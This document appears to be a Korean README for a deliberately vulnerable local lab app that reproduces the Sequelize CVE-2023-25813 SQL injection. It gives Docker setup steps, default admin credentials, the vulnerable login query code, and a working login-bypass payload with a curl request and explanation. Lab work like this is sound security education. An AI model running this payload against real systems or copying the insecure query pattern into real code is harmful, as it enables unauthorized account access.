
Sequelize SQL 인젝션 취약점 구현
Sequelize CVE-2023-25813 동작을 로컬에서 확인하기 위한 Express + MySQL 실습 앱입니다.
이 프로젝트는 의도적으로 취약한 Sequelize 버전과 취약한 로그인 쿼리 패턴을 유지합니다. 인터넷에 노출하지 말고 로컬 Docker 실습 환경에서만 실행하세요.
localhost:3307localhost:3000주요 기능:
.env 파일을 사용합니다. 예시는 .env.example을 참고하세요.
DB_USER=root
DB_PASSWORD=YOUR_MYSQL_PASSWORD
DB_NAME=cve_test_db
DB_HOST=127.0.0.1
DB_PORT=3306
DB_FORWARD_PORT=3307
ADMIN_USERNAME=admin
ADMIN_PASSWORD=admin
Docker 실행 시 앱 컨테이너는 로컬 MySQL이 아니라 Compose 내부의 db 서비스를 사용합니다.
앱 컨테이너 기준 DB_HOST=db
호스트 PC 기준 DB 접속 포트=3307
Docker Desktop을 켠 뒤 PowerShell에서 실행합니다.
cd "C:\Users\hjshg\Desktop\cve-test-app"
docker compose up -d --build
브라우저에서 접속합니다.
http://localhost:3000
상태 확인:
docker compose ps
docker compose logs app --tail 50
중지:
docker compose down
DB 데이터까지 초기화:
docker compose down -v
Docker 안의 MySQL에 직접 접속하려면:
docker compose exec db mysql -uroot -p cve_test_db
비밀번호는 .env의 DB_PASSWORD 값입니다.
Workbench 같은 GUI 도구에서는 아래 값으로 접속합니다.
Host: 127.0.0.1
Port: 3307
User: root
Password: .env의 DB_PASSWORD
Database: cve_test_db
DB가 생성되어 있으면 앱 로그에 이런 메시지가 나옵니다.
cve_test_db 데이터베이스 준비 완료
admin 관리자 계정 준비 완료
데이터베이스 연결 성공
3000 번 포트에서 대기 중
앱 시작 시 .env 값으로 admin 계정을 자동 생성합니다.
기본값:
아이디: admin
비밀번호: admin
로그인하면 메인 페이지 상단에 현재 접속 계정이 표시됩니다.
현재 접속 계정: admin
브라우저에서 /login으로 이동한 뒤:
아이디: admin
비밀번호: admin
성공하면 /로 이동하고 메인 페이지에 현재 접속 계정이 보입니다.
curl로 확인하려면:
curl.exe -i -X POST http://localhost:3000/login `
-H "Content-Type: application/x-www-form-urlencoded" `
--data-urlencode "username=admin" `
--data-urlencode "password=admin"
성공 기준:
HTTP/1.1 302 Found
Location: /
브라우저에서 /login으로 이동한 뒤 아래 값을 입력합니다.
아이디: /**/OR/**/1=1)/**/#
비밀번호: :username
성공하면 /login?error=invalid가 아니라 /로 이동합니다. 메인 페이지의 현재 접속 계정도 로그인된 사용자로 표시됩니다.
curl로 확인:
curl.exe -i -X POST http://localhost:3000/login `
-H "Content-Type: application/x-www-form-urlencoded" `
--data-urlencode "username=/**/OR/**/1=1)/**/#" `
--data-urlencode "password=:username"
성공 기준:
HTTP/1.1 302 Found
Location: /
취약한 코드는 로그인 라우트에 있습니다.
const user = await User.findOne({
where: and(
literal('username = :username'),
{ password }
),
replacements: { username: username }
});
정상 로그인이라면 SQL은 대략 이런 형태가 됩니다.
WHERE (username = 'admin' AND `User`.`password` = 'admin') LIMIT 1;
문제는 literal('username = :username'), { password }, replacements를 같은 쿼리에 섞어 쓰는 부분입니다. Sequelize 6.19.0에서는 replacements가 쿼리 전체에 적용되면서, 사용자가 입력한 password 값 안의 :username까지 치환될 수 있습니다.
실습 페이로드는 이렇게 넣습니다.
username = /**/OR/**/1=1)/**/#
password = :username
이때 실제 쿼리는 로그에서 대략 이런 형태로 보입니다.
WHERE (
username = '/**/OR/**/1=1)/**/#'
AND `User`.`password` = ''/**/OR/**/1=1)/**/#''
) LIMIT 1;
각 조각의 의미:
password=:username: 비밀번호 칸에서도 username 치환이 다시 일어나게 만드는 핵심입니다./**/: MySQL에서 주석으로 처리되는 블록입니다. 공백처럼 동작하므로 OR 앞뒤 공백이 잘려도 SQL 토큰이 분리됩니다.OR 1=1: 항상 참인 조건을 추가합니다.): Sequelize가 만든 AND(...) 조건 그룹을 닫습니다.#: MySQL 한 줄 주석입니다. 뒤에 붙는 남은 따옴표와 LIMIT 1 주변 조각을 주석 처리해 문법 오류를 피합니다.결과적으로 조건이 항상 참이 되어 첫 번째 사용자 행이 조회되고, 앱은 로그인 성공으로 처리합니다.
아래처럼 공백에 의존하는 페이로드는 브라우저 입력 과정에서 앞/뒤 공백이 사라지면 실패할 수 있습니다.
OR 1=1) --
MySQL의 -- 주석은 뒤에 공백이 필요합니다. 공백이 빠지면 주석으로 인식되지 않아 문법 오류가 납니다.
이 프로젝트에서는 아래 페이로드를 권장합니다.
아이디: /**/OR/**/1=1)/**/#
비밀번호: :username
Docker 실행 시 DB는 로컬 MySQL 서버가 아니라 Docker의 db 컨테이너에 생성됩니다. 호스트 PC에서 보려면 localhost:3307로 접속하세요.
정상입니다. 이 앱은 CVE 실습을 위해 취약한 Sequelize 버전을 유지합니다.
npm audit fix를 실행하면 실습 대상 취약점이 사라질 수 있습니다.